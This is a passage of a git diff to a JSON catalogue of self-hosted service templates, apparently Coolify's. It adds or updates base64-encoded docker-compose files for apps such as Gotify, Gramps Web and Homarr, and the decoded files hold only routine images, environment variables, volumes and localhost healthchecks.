UWUxFX1VSTFM9dHJ1ZQogICAgICAtICdTM19CMl9FVV9DRU5fS0VZPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtICdTM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTRVJWSUNFX0ZRRE5fTUlOSU9fMzIwMH0nCiAgICAgIC0gUzNfQjJfRVVfQ0VOX1JFR0lPTj1ldS1jZW50cmFsLTIKICAgICAgLSBTM19CMl9FVV9DRU5fQlVDS0VUPWIyLWV1LWNlbgogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIG1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNS1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgbWluaW86CiAgICBpbWFnZTogJ3F1YXkuaW8vbWluaW8vbWluaW86bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX01JTklPXzkwMDAKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWFkZHJlc3MgIjo5MDAwIiAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBtaW5pby1pbml0OgogICAgaW1hZ2U6ICdtaW5pby9tYzpsYXRlc3QnCiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIG1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZW50cnlwb2ludDogIi9iaW4vc2ggLWMgXCIgbWMgYWxpYXMgc2V0IG1pbmlvIGh0dHA6Ly9taW5pbzo5MDAwICQke01JTklPX1JPT1RfVVNFUn0gJCR7TUlOSU9fUk9PVF9QQVNTV09SRH07IG1jIG1iIG1pbmlvL2IyLWV1LWNlbiAtLWlnbm9yZS1leGlzdGluZzsgbWMgbWIgbWluaW8vd2FzYWJpLWV1LWNlbnRyYWwtMi12MyAtLWlnbm9yZS1leGlzdGluZzsgbWMgbWIgbWluaW8vc2N3LWV1LWZyLXYzIC0taWdub3JlLWV4aXN0aW5nOyBlY2hvICdNaW5JTyBidWNrZXRzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5JzsgXCJcbiIK", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOjYxM2M2YTk2MzkwZDdhNjI0Y2YzMGI5NDY5NTU3MDVkNjMyNDIzY2MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTVVTRVVNXzgwODAKICAgICAgLSBFTlRFX0RCX0hPU1Q9cG9zdGdyZXMKICAgICAgLSBFTlRFX0RCX1BPUlQ9NTQzMgogICAgICAtICdFTlRFX0RCX05BTUU9JHtQT1NUR1JFU19EQjotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9IVFRQX1VTRV9UTFM9JHtFTlRFX0hUVFBfVVNFX1RMUzotZmFsc2V9JwogICAgICAtIEVOVEVfUzNfQVJFX0xPQ0FMX0JVQ0tFVFM9ZmFsc2UKICAgICAgLSBFTlRFX1MzX1VTRV9QQVRIX1NUWUxFX1VSTFM9dHJ1ZQogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTRVJWSUNFX1VTRVJfTUlOSU99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTRVJWSUNFX0ZRRE5fTUlOSU9fOTAwMH0nCiAgICAgIC0gRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPWV1LWNlbnRyYWwtMgogICAgICAtIEVOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD1iMi1ldS1jZW4KICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBtaW5pbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHdlYjoKICAgIGltYWdlOiAnZ2hjci5pby9lbnRlLWlvL3dlYjpjYTAzMTY1ZjVlN2YyYTUwMTA1ZTZlNDAwMTljMTdhZTZjZGQ5MzRmJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1dFQl8zMDAwCiAgICAgIC0gJ0VOVEVfQVBJX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9NVVNFVU19JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDozMDAwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30gLWQgJHtQT1NUR1JFU19EQjotZW50ZV9kYn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIG1pbmlvOgogICAgaW1hZ2U6ICdxdWF5LmlvL21pbmlvL21pbmlvOlJFTEVBU0UuMjAyNS0wOS0wN1QxNi0xMy0wOVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9kYXRhIC0tY29uc29sZS1hZGRyZXNzICI6OTAwMSInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNSU5JT19TRVJWRVJfVVJMPSRNSU5JT19TRVJWRVJfVVJMCiAgICAgIC0gTUlOSU9fQlJPV1NFUl9SRURJUkVDVF9VUkw9JE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMCiAgICAgIC0gTUlOSU9fUk9PVF9VU0VSPSRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgLSBNSU5JT19ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICdtaW5pby1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pbmlvLWluaXQ6CiAgICBpbWFnZTogJ21pbmlvL21jOlJFTEVBU0UuMjAyNS0wOC0xM1QwOC0zNS00MVonCiAgICBkZXBlbmRzX29uOgogICAgICBtaW5pbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtICdNSU5JT19DT1JTX1VSTFM9JFNFUlZJQ0VfRlFETl9NVVNFVU0sJFNFUlZJQ0VfRlFETl9XRUInCiAgICBlbnRyeXBvaW50OiAiL2Jpbi9zaCAtYyBcIlxuICBlY2hvIFxcXCJNSU5JT19DT1JTX1VSTFM6IFxcJCR7TUlOSU9fQ09SU19VUkxTfVxcXCI7XG4gIHNsZWVwIDU7XG4gIHVudGlsIG1jIGFsaWFzIHNldCBtaW5pbyBodHRwOi8vbWluaW86OTAwMCBcXCQke01JTklPX1JPT1RfVVNFUn0gXFwkJHtNSU5JT19ST09UX1BBU1NXT1JEfTsgZG9cbiAgICBlY2hvICdXYWl0aW5nIGZvciBNaW5JTy4uLic7XG4gICAgc2xlZXAgMjtcbiAgZG9uZTtcbiAgbWMgYWRtaW4gY29uZmlnIHNldCBtaW5pbyBhcGkgY29yc19hbGxvd19vcmlnaW49JyRNSU5JT19DT1JTX1VSTFMnIHx8IHRydWU7XG4gIG1jIG1iIG1pbmlvL2IyLWV1LWNlbiAtLWlnbm9yZS1leGlzdGluZztcbiAgbWMgbWIgbWluaW8vd2FzYWJpLWV1LWNlbnRyYWwtMi12MyAtLWlnbm9yZS1leGlzdGluZztcbiAgbWMgbWIgbWluaW8vc2N3LWV1LWZyLXYzIC0taWdub3JlLWV4aXN0aW5nO1xuICBlY2hvICdNaW5JTyBidWNrZXRzIGFuZCBDT1JTIGNvbmZpZ3VyZWQnO1xuXCIiCg==", "tags": [ "photos", "gallery", @@ -1072,7 +1072,7 @@ "filebrowser": { "documentation": "https://filebrowser.org?utm_source=coolify.io", "slogan": "FileBrowser is a web-based file manager and file explorer with a user-friendly interface.", - "compose": "c2VydmljZXM6CiAgZmlsZWJyb3dzZXI6CiAgICBpbWFnZTogJ2ZpbGVicm93c2VyL2ZpbGVicm93c2VyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9GSUxFQlJPV1NFUl84MAogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vc3J2CiAgICAgICAgdGFyZ2V0OiAvc3J2CiAgICAgICAgaXNEaXJlY3Rvcnk6IHRydWUKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZGF0YWJhc2UuZGIKICAgICAgICB0YXJnZXQ6IC9kYXRhYmFzZS5kYgogICAgICAgIGlzRGlyZWN0b3J5OiBmYWxzZQogICAgICAgIGNvbnRlbnQ6ICcnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2ZpbGVicm93c2VyLmpzb24KICAgICAgICB0YXJnZXQ6IC8uZmlsZWJyb3dzZXIuanNvbgogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiYWRkcmVzc1wiOiBcIjAuMC4wLjBcIixcbiAgXCJwb3J0XCI6IDgwXG59IgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1Cg==", + "compose": "c2VydmljZXM6CiAgZmlsZWJyb3dzZXI6CiAgICBpbWFnZTogJ2ZpbGVicm93c2VyL2ZpbGVicm93c2VyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9GSUxFQlJPV1NFUl84MAogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vc3J2CiAgICAgICAgdGFyZ2V0OiAvc3J2CiAgICAgICAgaXNEaXJlY3Rvcnk6IHRydWUKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZGF0YWJhc2UuZGIKICAgICAgICB0YXJnZXQ6IC9kYXRhYmFzZS5kYgogICAgICAgIGlzRGlyZWN0b3J5OiBmYWxzZQogICAgICAgIGNvbnRlbnQ6ICcnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2ZpbGVicm93c2VyLmpzb24KICAgICAgICB0YXJnZXQ6IC8uZmlsZWJyb3dzZXIuanNvbgogICAgICAgIHJlYWRfb25seTogdHJ1ZQogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiYWRkcmVzc1wiOiBcIjAuMC4wLjBcIixcbiAgXCJwb3J0XCI6IDgwXG59XG4iCg==", "tags": [ "file-management", "storage-access", @@ -1561,6 +1561,20 @@ "minversion": "0.0.0", "port": "3000" }, + "gotify": { + "documentation": "https://gotify.net/docs/install?utm_source=coolify.io", + "slogan": "Gotify is an open-source self-hosted notification server.", + "compose": "c2VydmljZXM6CiAgZ290aWZ5OgogICAgaW1hZ2U6ICdnb3RpZnkvc2VydmVyOjIuNy4zJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0dPVElGWV84MAogICAgICAtICdHT1RJRllfREVGQVVMVFVTRVJfTkFNRT0ke0dPVElGWV9VU0VSTkFNRTotYWRtaW59JwogICAgICAtICdHT1RJRllfREVGQVVMVFVTRVJfUEFTUz0ke1NFUlZJQ0VfUEFTU1dPUkRfR09USUZZfScKICAgICAgLSAnR09USUZZX0RBVEFCQVNFX0RJQUxFQ1Q9JHtHT1RJRllfREFUQUJBU0VfRElBTEVDVDotc3FsaXRlM30nCiAgICAgIC0gJ0dPVElGWV9EQVRBQkFTRV9DT05ORUNUSU9OPSR7R09USUZZX0RBVEFCQVNFX0NPTk5FQ1RJT046LWRhdGEvZ290aWZ5LmRifScKICAgICAgLSAnR09USUZZX1BBU1NTVFJFTkdUSD0ke0dPVElGWV9QQVNTU1RSRU5HVEg6LTEwfScKICAgICAgLSAnR09USUZZX1VQTE9BREVESU1BR0VTRElSPSR7R09USUZZX1VQTE9BREVESU1BR0VTRElSOi1kYXRhL2ltYWdlc30nCiAgICAgIC0gJ0dPVElGWV9QTFVHSU5TRElSPSR7R09USUZZX1BMVUdJTlNESVI6LWRhdGEvcGx1Z2luc30nCiAgICAgIC0gJ0dPVElGWV9TRVJWRVJfUE9SVD0ke0dPVElGWV9TRVJWRVJfUE9SVDotODB9JwogICAgICAtICdHT1RJRllfUkVHSVNUUkFUSU9OPSR7R09USUZZX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ290aWZ5LWRhdGE6L2FwcC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "tags": [ + "productivity", + "notification", + "collaboration" + ], + "category": "productivity", + "logo": "svgs/gotify.png", + "minversion": "0.0.0", + "port": "80" + }, "gowa": { "documentation": "https://github.com/aldinokemal/go-whatsapp-web-multidevice?utm_source=coolify.io", "slogan": "Golang WhatsApp - Built with Go for efficient memory use", @@ -1607,6 +1621,20 @@ "minversion": "0.0.0", "port": "3000" }, + "gramps-web": { + "documentation": "https://www.grampsweb.org/install_setup/setup/?utm_source=coolify.io", + "slogan": "Open Source Online Genealogy System.", + "compose": "c2VydmljZXM6CiAgZ3JhbXBzd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dyYW1wcy1wcm9qZWN0L2dyYW1wc3dlYjoyNS45LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JBTVBTV0VCXzUwMDAKICAgICAgLSAnR1JBTVBTV0VCX1RSRUU9JHtHUkFNUFNXRUJfVFJFRTotR3JhbXBzIFdlYn0nCiAgICAgIC0gJ0dSQU1QU1dFQl9DRUxFUllfQ09ORklHX19icm9rZXJfdXJsPXJlZGlzOi8vZ3JhbXBzd2ViX3JlZGlzOjYzNzkvMCcKICAgICAgLSAnR1JBTVBTV0VCX0NFTEVSWV9DT05GSUdfX3Jlc3VsdF9iYWNrZW5kPXJlZGlzOi8vZ3JhbXBzd2ViX3JlZGlzOjYzNzkvMCcKICAgICAgLSAnR1JBTVBTV0VCX1JBVEVMSU1JVF9TVE9SQUdFX1VSST1yZWRpczovL2dyYW1wc3dlYl9yZWRpczo2Mzc5LzEnCiAgICAgIC0gJ0dVTklDT1JOX05VTV9XT1JLRVJTPSR7R1VOSUNPUk5fTlVNX1dPUktFUlM6LTJ9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBncmFtcHN3ZWJfcmVkaXMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYW1wc191c2VyczovYXBwL3VzZXJzJwogICAgICAtICdncmFtcHNfaW5kZXg6L2FwcC9pbmRleGRpcicKICAgICAgLSAnZ3JhbXBzX3RodW1iX2NhY2hlOi9hcHAvdGh1bWJuYWlsX2NhY2hlJwogICAgICAtICdncmFtcHNfY2FjaGU6L2FwcC9jYWNoZScKICAgICAgLSAnZ3JhbXBzX3NlY3JldDovYXBwL3NlY3JldCcKICAgICAgLSAnZ3JhbXBzX2RiOi9yb290Ly5ncmFtcHMvZ3JhbXBzZGInCiAgICAgIC0gJ2dyYW1wc19tZWRpYTovYXBwL21lZGlhJwogICAgICAtICdncmFtcHNfdG1wOi90bXAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLU8gLSBodHRwOi8vbG9jYWxob3N0OjUwMDAgPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgZ3JhbXBzd2ViX2NlbGVyeToKICAgIGltYWdlOiAnZ2hjci5pby9ncmFtcHMtcHJvamVjdC9ncmFtcHN3ZWI6MjUuOS4wJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dSQU1QU1dFQl9UUkVFPSR7R1JBTVBTV0VCX1RSRUU6LUdyYW1wcyBXZWJ9JwogICAgICAtICdHUkFNUFNXRUJfQ0VMRVJZX0NPTkZJR19fYnJva2VyX3VybD1yZWRpczovL2dyYW1wc3dlYl9yZWRpczo2Mzc5LzAnCiAgICAgIC0gJ0dSQU1QU1dFQl9DRUxFUllfQ09ORklHX19yZXN1bHRfYmFja2VuZD1yZWRpczovL2dyYW1wc3dlYl9yZWRpczo2Mzc5LzAnCiAgICAgIC0gJ0dSQU1QU1dFQl9SQVRFTElNSVRfU1RPUkFHRV9VUkk9cmVkaXM6Ly9ncmFtcHN3ZWJfcmVkaXM6NjM3OS8xJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBncmFtcHN3ZWJfcmVkaXMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYW1wc191c2VyczovYXBwL3VzZXJzJwogICAgICAtICdncmFtcHNfaW5kZXg6L2FwcC9pbmRleGRpcicKICAgICAgLSAnZ3JhbXBzX3RodW1iX2NhY2hlOi9hcHAvdGh1bWJuYWlsX2NhY2hlJwogICAgICAtICdncmFtcHNfY2FjaGU6L2FwcC9jYWNoZScKICAgICAgLSAnZ3JhbXBzX3NlY3JldDovYXBwL3NlY3JldCcKICAgICAgLSAnZ3JhbXBzX2RiOi9yb290Ly5ncmFtcHMvZ3JhbXBzZGInCiAgICAgIC0gJ2dyYW1wc19tZWRpYTovYXBwL21lZGlhJwogICAgICAtICdncmFtcHNfdG1wOi90bXAnCiAgICBjb21tYW5kOiAnY2VsZXJ5IC1BIGdyYW1wc193ZWJhcGkuY2VsZXJ5IHdvcmtlciAtLWxvZ2xldmVsPUlORk8gLS1jb25jdXJyZW5jeT0yJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdTRUNSRVRfS0VZPSIkKGNhdCBzZWNyZXQvc2VjcmV0KSIgY2VsZXJ5IC1BIGdyYW1wc193ZWJhcGkuY2VsZXJ5IHN0YXR1cyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIGdyYW1wc3dlYl9yZWRpczoKICAgIGltYWdlOiAnZG9ja2VyLmlvL2xpYnJhcnkvcmVkaXM6Ny4yLjQtYWxwaW5lJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyZWRpcy1jbGkgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCg==", + "tags": [ + "family", + "genealogy", + "personal" + ], + "category": "family", + "logo": "svgs/gramps-web.svg", + "minversion": "0.0.0", + "port": "5000" + }, "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", @@ -1674,7 +1702,7 @@ "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", "slogan": "Homarr is a self-hosted homepage for your services.", - "compose": "c2VydmljZXM6CiAgaG9tYXJyOgogICAgaW1hZ2U6ICdnaGNyLmlvL2FqbmFydC9ob21hcnI6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPTUFSUl83NTc1CiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnLi9ob21hcnIvY29uZmlnczovYXBwL2RhdGEvY29uZmlncycKICAgICAgLSAnLi9ob21hcnIvaWNvbnM6L2FwcC9wdWJsaWMvaWNvbnMnCiAgICAgIC0gJy4vaG9tYXJyL2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NzU3NScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgaG9tYXJyOgogICAgaW1hZ2U6ICdnaGNyLmlvL2hvbWFyci1sYWJzL2hvbWFycjp2MS40MC4wJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPTUFSUl83NTc1CiAgICAgIC0gU0VSVklDRV9IRVhfMzJfSE9NQVJSCiAgICAgIC0gJ1NFQ1JFVF9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfSEVYXzMyX0hPTUFSUn0nCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnLi9ob21hcnIvYXBwZGF0YTovYXBwZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo3NTc1JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "homarr", "self-hosted", @@ -2167,6 +2195,22 @@ "minversion": "0.0.0", "port": "8000" }, + "lobe-chat": { + "documentation": "https://github.com/lobehub/lobe-chat?tab=readme-ov-file#b-deploying-with-docker?utm_source=coolify.io", + "slogan": "An open-source, modern-design AI chat framework.", + "compose": 